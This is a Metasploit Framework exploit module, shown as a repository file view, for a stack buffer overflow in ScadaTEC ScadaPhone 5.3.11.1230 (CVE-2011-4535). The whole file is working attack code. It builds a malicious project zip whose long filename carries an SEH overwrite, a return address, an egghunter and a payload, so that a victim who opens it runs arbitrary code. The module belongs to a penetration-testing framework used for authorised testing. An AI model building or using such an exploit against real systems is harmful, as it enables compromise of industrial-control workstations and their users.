Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
100 lines
2.5 KiB
Ruby
100 lines
2.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex/zip'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ScadaTEC ScadaPhone <= v5.3.11.1230 Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in
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version 5.3.11.1230 of scadaTEC's ScadaPhone.
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In order for the command to be executed, an attacker must convince someone to
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load a specially crafted project zip file with ScadaPhone.
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By doing so, an attacker can execute arbitrary code as the victim user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'mr_me <steventhomasseeley[at]gmail.com>', # found + msf
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2011-4535' ],
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[ 'OSVDB', '75375' ],
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[ 'URL', 'http://www.scadatec.com/' ],
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[ 'EDB', '17817' ],
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],
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'Platform' => [ 'win' ],
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'Payload' =>
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{
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'Space' => 700,
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'BadChars' => "\x00\x0a\x0d",
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'DisableNops' => true,
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},
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'Targets' =>
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[
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# POP ESI; POP EBX; RETN [ScadaPhone.exe]
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[ 'Windows Universal', { 'Ret' => 0x004014F4 } ],
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],
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'DisclosureDate' => 'Sep 12 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
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], self.class)
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end
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def exploit
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eggoptions =
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{
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:checksum => false,
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:eggtag => 'zipz'
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}
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hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
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fname = rand_text_alpha_upper(229)
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fname << hunter
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fname << rand_text_alpha_upper(48-hunter.length)
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fname << Rex::Arch::X86.jmp_short(-50)
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fname << rand_text_alpha_upper(2)
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fname << [target.ret].pack('V')
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fname << rand_text_alpha_upper(100)
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fname << egg
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fname << rand_text_alpha_upper(4096-fname.length)
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fname << [0x7478741e].pack('V')
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zip = Rex::Zip::Archive.new
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xtra = [0xdac0ffee].pack('V')
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comment = [0xbadc0ded].pack('V')
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zip.add_file(fname, xtra, comment)
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# Create the file
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(zip.pack)
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end
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end
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